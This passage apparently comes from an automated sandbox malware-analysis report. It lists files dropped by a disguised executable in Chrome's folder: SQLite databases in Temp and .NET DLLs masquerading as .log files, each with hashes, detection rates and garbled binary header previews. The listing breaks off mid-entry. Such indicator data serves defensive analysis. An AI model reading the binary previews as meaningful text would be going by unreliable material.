Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\zDpA1SbI4m

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\zGREo5CjXZ

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\zS2YocoOKK

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\zTDu2FqRzO

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\zTspauyZjO

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\zxZ9VIz67C

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\CKvNPuCt.log

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	70144
Entropy (8bit):	5.909536568846014
Encrypted:	false
SSDEEP:	1536:3LM14SKtpfLarGzoQWaqaQ2n5YejqSRKnYdYPgh3c//npRwM:w7KtpTjNNn5YejqSRKnYdYPgJo/pRwM
MD5:	E4FA63649F1DBD23DE91861BB39C317D
SHA1:	25F9115FAF40EC6736FACF2288CAA9B0E6AF9366
SHA-256:	CB4CD707305733ADDFCC54A69DF54A0C8D47C312D969B3E8D38B93E18CCBD8E4
SHA-512:	C4B5A9D66146D98D414BC84CD5C09588E2E02B800B21CE3172042AD7F48CC4AED54772D32C891A921FF102C0C3DB1FEAF52E4D4C714ABDB15F73BAEB9A6F5A39
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 29%
Joe Sandbox View:	Filename: 150bIjWiGH.exe, Detection: malicious, Browse Filename: wmdqEYgW2i.exe, Detection: malicious, Browse Filename: CPNSQusnwC.exe, Detection: malicious, Browse Filename: xoCq1tvPcm.exe, Detection: malicious, Browse Filename: eu6OEBpBCI.exe, Detection: malicious, Browse Filename: IYXE4Uz61k.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: gorkmTnChA.exe, Detection: malicious, Browse Filename: A5EbyKyjhV.exe, Detection: malicious, Browse Filename: qNdO4D18CF.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .................)... ...@....@.. ..............................8.....@..................................(..S....@.......................`....................................................... ............... ..H............text...4.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................)......H..............................................................................................................................................................................................NC>.$qK...X....J................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\EZaEGMWX.log

Download File

Process:	C:\Users\user\Desktop\DWTukBG9R7.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	6.057993947082715
Encrypted:	false
SSDEEP:	3072:V2IJq7YkHFJwBTZtHrC/0/FHkINvdF+nTCkjk1U+1:V2IJq7YbrFHkIrgnTQ
MD5:	16B480082780CC1D8C23FB05468F64E7
SHA1:	6FDDF86F9F0FBAA189F5CB79E44999A3F1AC2B26
SHA-256:	7A080D8BD178EC02C7F39F7F941479074C450C4FDD8E963C993D2FB5537C7708
SHA-512:	A165BB5D7972DE124F670BCAC20B4A46727B7CF27D1ED925D02F7CC7C79D7D04122D7C202C67D7EAE798348E8D481F085282EB5B89D84B902607D7EB1155BA19
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 21%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." ..................... ... ....@.. .......................`......:.....@.....................................O.... .......................@....................................................... ............... ..H............text...$.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................H...........(...........<...h.........................................................@.......0.................................................................................................................................Y........;~..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................

C:\Users\user\Desktop\EpQDWYXm.log

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	64000
Entropy (8bit):	5.857602289000348
Encrypted:	false
SSDEEP:	768:TDPfhHfT/9IvAgoeA2U7dtZLr6SWB6/BYklKbz4Xgs7RlkUC4M+JVvTkgny:TD3Jbf2UQoBYHfSRRRC4BvPny
MD5:	5EE7E079F998F80293B3467CE6A5B4AE
SHA1:	3C0932D48F3542E9DFB09AD9E1FF70891A038532
SHA-256:	A3AE7E97703E694C479E3B460F89C16B4A511626E351145532D1A2F3BA051779
SHA-512:	056F03CB02A8A994461A5A26C2D738EE39E5AE49462222AD4937DD1CB9F29C6567D2E368EFB7844E8779B3EB3EB5D87DACDE5E3D24DF8227194DDC2E0556FF8D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 25%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." ................N.... ... ....@.. .......................`......E.....@.....................................W.... .......................@....................................................... ............... ..H............text...T.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B................0.......H...........\|...................................................................................................................................................................................7.pO`....<o ..F................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\KbadTfuJ.log

Download File

Process:	C:\Users\user\Desktop\DWTukBG9R7.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	36352
Entropy (8bit):	5.668291349855899
Encrypted:	false
SSDEEP:	384:3+GMbUL+1FjuuGWkgoCFvMiAAsSZH14gXO9XBKeRg3U7ixu8bqMle9dCe4i2+o06:3+T93kgoCFkid/O9sU7io8b1ocl+o
MD5:	94DA5073CCC14DCF4766DF6781485937
SHA1:	57300CA6033974810B71CF1AB4F047A026924A7A
SHA-256:	B81B9FA9B7017BE34F62D30CB16BAAB33757F04CC94EF4D6459C9D3BC768FD18
SHA-512:	7D539ECED2F19166F0F6FAE6E2624C0440DEC87AA9751FA82387EECEF9945997ABAE58C886494633BA360B122BCA955B3DDAE26E5256E371A0528F48DFA17871
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 21%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................................@....................................W.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......pi..T;...........g..x........................................................................................................................................................................XWJ..%.v0................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\LHvTaJQB.log

Download File

Process:	C:\Users\user\Desktop\DWTukBG9R7.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	89600
Entropy (8bit):	5.905167202474779
Encrypted:	false
SSDEEP:	1536:mspaoWV6yRfXRFHJh/fLiSI82VawF1YBJcqe:1paoWMy5XXnfXf2YSYBJcqe
MD5:	06442F43E1001D860C8A19A752F19085
SHA1:	9FBDC199E56BC7371292AA1A25CF4F8A6F49BB6D
SHA-256:	6FB2FAAC08F55BDF18F3FCEE44C383B877F416B97085DBEE4746300723F3304F
SHA-512:	3592162D6D7F0B298C2D277942F9C7E86A29078A4D7B73903183C97DACABC87E0523F0EF992F2BD7350AA8AE9D49910B3CE199BC4103F7DC268BF319293CD577
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 16%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......g.........." .....V...........t... ........@.. ....................................@.................................pt..K.......l............................................................................ ............... ..H............text....T... ...V.................. ..`.rsrc...l............X..............@..@.reloc...............\..............@..B.................t......H.......H...(q..........P.........................................................................n$..Fr.....fQ...M.:..'k.m.(G.c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW....

C:\Users\user\Desktop\MbILlBNZ.log

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32256
Entropy (8bit):	5.631194486392901
Encrypted:	false
SSDEEP:	384:lP/qZmINM9WPs9Q617EsO2m2g7udB2HEsrW+a4yiym4I16Gl:lP/imaPyQ4T5dsHSt9nQ
MD5:	D8BF2A0481C0A17A634D066A711C12E9
SHA1:	7CC01A58831ED109F85B64FE4920278CEDF3E38D
SHA-256:	2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669
SHA-512:	7FB4EB786528AD15DF044F16973ECA05F05F035491E9B1C350D6AA30926AAE438E98F37BE1BB80510310A91BC820BA3EDDAF7759D7D599BCDEBA0C9DF6302F60
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 25%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....v..........n.... ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text...tt... ...v.................. ..`.rsrc................x..............@..@.reloc...............\|..............@..B................P.......H........c...1..........._..h....................................................................................................................................................................Q.1k...].~g.v................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\OJhBvsUw.log

Download File

Process:	C:\Users\user\Desktop\DWTukBG9R7.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	70144
Entropy (8bit):	5.909536568846014
Encrypted:	false
SSDEEP:	1536:3LM14SKtpfLarGzoQWaqaQ2n5YejqSRKnYdYPgh3c//npRwM:w7KtpTjNNn5YejqSRKnYdYPgJo/pRwM
MD5:	E4FA63649F1DBD23DE91861BB39C317D
SHA1:	25F9115FAF40EC6736FACF2288CAA9B0E6AF9366
SHA-256:	CB4CD707305733ADDFCC54A69DF54A0C8D47C312D969B3E8D38B93E18CCBD8E4
SHA-512:	C4B5A9D66146D98D414BC84CD5C09588E2E02B800B21CE3172042AD7F48CC4AED54772D32C891A921FF102C0C3DB1FEAF52E4D4C714ABDB15F73BAEB9A6F5A39
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 29%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .................)... ...@....@.. ..............................8.....@..................................(..S....@.......................`....................................................... ............... ..H............text...4.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................)......H..............................................................................................................................................................................................NC>.$qK...X....J................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\TIptzuOL.log

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	6.057993947082715
Encrypted:	false
SSDEEP:	3072:V2IJq7YkHFJwBTZtHrC/0/FHkINvdF+nTCkjk1U+1:V2IJq7YbrFHkIrgnTQ
MD5:	16B480082780CC1D8C23FB05468F64E7
SHA1:	6FDDF86F9F0FBAA189F5CB79E44999A3F1AC2B26
SHA-256:	7A080D8BD178EC02C7F39F7F941479074C450C4FDD8E963C993D2FB5537C7708
SHA-512:	A165BB5D7972DE124F670BCAC20B4A46727B7CF27D1ED925D02F7CC7C79D7D04122D7C202C67D7EAE798348E8D481F085282EB5B89D84B902607D7EB1155BA19
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 21%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." ..................... ... ....@.. .......................`......:.....@.....................................O.... .......................@....................................................... ............... ..H............text...$.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................H...........(...........<...h.........................................................@.......0.................................................................................................................................Y........;~..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................

C:\Users\user\Desktop\TZwLNPIO.log

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	5.932541123129161
Encrypted:	false
SSDEEP:	1536:yo63BdpcSWxaQ/RKd8Skwea/e+hTEqS/ABGegJBb07j:j+9W+p/LEqu6GegG
MD5:	F4B38D0F95B7E844DD288B441EBC9AAF
SHA1:	9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF
SHA-256:	AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
SHA-512:	2300D8FC857986DC9560225DE36C221C6ECB4F98ADB954D896ED6AFF305C3A3C05F5A9F1D5EF0FC9094355D60327DDDFAFC81A455596DCD28020A9A89EF50E1A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;.d.........." .................'... ...@....@.. ....................................@.................................\'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......l....^..........t...............................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k:..AOg.......s..t".5.

C:\Users\user\Desktop\VpOjKmVj.log

Download File

Process:	C:\Users\user\Desktop\DWTukBG9R7.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32256
Entropy (8bit):	5.631194486392901
Encrypted:	false
SSDEEP:	384:lP/qZmINM9WPs9Q617EsO2m2g7udB2HEsrW+a4yiym4I16Gl:lP/imaPyQ4T5dsHSt9nQ
MD5:	D8BF2A0481C0A17A634D066A711C12E9
SHA1:	7CC01A58831ED109F85B64FE4920278CEDF3E38D
SHA-256:	2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669
SHA-512:	7FB4EB786528AD15DF044F16973ECA05F05F035491E9B1C350D6AA30926AAE438E98F37BE1BB80510310A91BC820BA3EDDAF7759D7D599BCDEBA0C9DF6302F60
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 25%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....v..........n.... ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text...tt... ...v.................. ..`.rsrc................x..............@..@.reloc...............\|..............@..B................P.......H........c...1..........._..h....................................................................................................................................................................Q.1k...].~g.v................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\cnCjmBPY.log

Download File

Process:	C:\Users\user\Desktop\DWTukBG9R7.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	50176
Entropy (8bit):	5.723168999026349
Encrypted:	false
SSDEEP:	768:7PCvZsxIexhaqgbv8yGk/A/4NPmAQeMeYzlP58gH8zGTCWxttXyZPM:7P4ZsxIelkY/O+DeuzYbM5xXiE
MD5:	2E116FC64103D0F0CF47890FD571561E
SHA1:	3EF08A9B057D1876C24FC76E937CDA461FAC6071
SHA-256:	25EEEA99DCA05BF7651264FA0C07E0E91D89E0DA401C387284E9BE9AFDF79625
SHA-512:	39D09DE00E738B01B6D8D423BA05C61D08E281482C83835F4C88D2F87E6E0536DDC0101872CBD97C30F977BC223DFAE9FCB3DB71DD8078B7EB5B5A4D0D5207A8
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 17%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................... .......e....@.....................................K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............M...................................................................................................................................................................................Xg;.6.'.1. b9g................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\dzgITJmq.log

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	342528
Entropy (8bit):	6.170134230759619
Encrypted:	false
SSDEEP:	3072:YMRFbwlz0otnh0efcZBU/fbF+pzZDrpSToDxcLQcm+xCjNS3RaCtXAOZrNM1Ge6q:uhj/zQD9SocLQDchaUXAiNM1C3HuiH
MD5:	9DADB5C8A6FD5020275C31EE6BC61D63
SHA1:	ACE09D19F7DBB98F5C844E77F29A5D86E544CCC1
SHA-256:	80E21E05386AB5BF7BCFD745146700E2A73D808CAFDE3F1DAA256D09BCF4522F
SHA-512:	EDB9F8B4A3742AFD344B3E4957CD6A8574FA82EB49B45E75627180C42B51F9C019E241D695BAF0AAA36EE6959CE297C358BC592F2EE31B0BB5EA19FEED67FC7D
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...l..d.........." .....2...........P... ...`....@.. ...................................@.................................LP..O....`............................................................................... ............... ..H............text....0... ...2.................. ..`.rsrc........`.......4..............@..@.reloc...............8..............@..B.................P......H............p..................................................................................................................................................................................GJ2....mj..R...................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\haUhPxfM.log

Download File

Process:	C:\Users\user\Desktop\DWTukBG9R7.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	342528
Entropy (8bit):	6.170134230759619
Encrypted:	false
SSDEEP:	3072:YMRFbwlz0otnh0efcZBU/fbF+pzZDrpSToDxcLQcm+xCjNS3RaCtXAOZrNM1Ge6q:uhj/zQD9SocLQDchaUXAiNM1C3HuiH
MD5:	9DADB5C8A6FD5020275C31EE6BC61D63
SHA1:	ACE09D19F7DBB98F5C844E77F29A5D86E544CCC1
SHA-256:	80E21E05386AB5BF7BCFD745146700E2A73D808CAFDE3F1DAA256D09BCF4522F
SHA-512:	EDB9F8B4A3742AFD344B3E4957CD6A8574FA82EB49B45E75627180C42B51F9C019E241D695BAF0AAA36EE6959CE297C358BC592F2EE31B0BB5EA19FEED67FC7D
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...l..d.........." .....2...........P... ...`....@.. ...................................@.................................LP..O....`............................................................................... ............... ..H............text....0... ...2.................. ..`.rsrc........`.......4..............@..@.reloc...............8..............@..B.................P......H............p..................................................................................................................................................................................GJ2....mj..R...................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\hqWzaFmj.log

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	36352
Entropy (8bit):	5.668291349855899
Encrypted:	false
SSDEEP:	384:3+GMbUL+1FjuuGWkgoCFvMiAAsSZH14gXO9XBKeRg3U7ixu8bqMle9dCe4i2+o06:3+T93kgoCFkid/O9sU7io8b1ocl+o
MD5:	94DA5073CCC14DCF4766DF6781485937
SHA1:	57300CA6033974810B71CF1AB4F047A026924A7A
SHA-256:	B81B9FA9B7017BE34F62D30CB16BAAB33757F04CC94EF4D6459C9D3BC768FD18
SHA-512:	7D539ECED2F19166F0F6FAE6E2624C0440DEC87AA9751FA82387EECEF9945997ABAE58C886494633BA360B122BCA955B3DDAE26E5256E371A0528F48DFA17871
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 21%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................................@....................................W.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......pi..T;...........g..x........................................................................................................................................................................XWJ..%.v0................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\kRKYWufF.log

Download File

Process:	C:\Users\user\Desktop\DWTukBG9R7.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	5.932541123129161
Encrypted:	false
SSDEEP:	1536:yo63BdpcSWxaQ/RKd8Skwea/e+hTEqS/ABGegJBb07j:j+9W+p/LEqu6GegG
MD5:	F4B38D0F95B7E844DD288B441EBC9AAF
SHA1:	9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF
SHA-256:	AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
SHA-512:	2300D8FC857986DC9560225DE36C221C6ECB4F98ADB954D896ED6AFF305C3A3C05F5A9F1D5EF0FC9094355D60327DDDFAFC81A455596DCD28020A9A89EF50E1A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;.d.........." .................'... ...@....@.. ....................................@.................................\'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......l....^..........t...............................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k:..AOg.......s..t".5.

C:\Users\user\Desktop\vUrgROiK.log

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
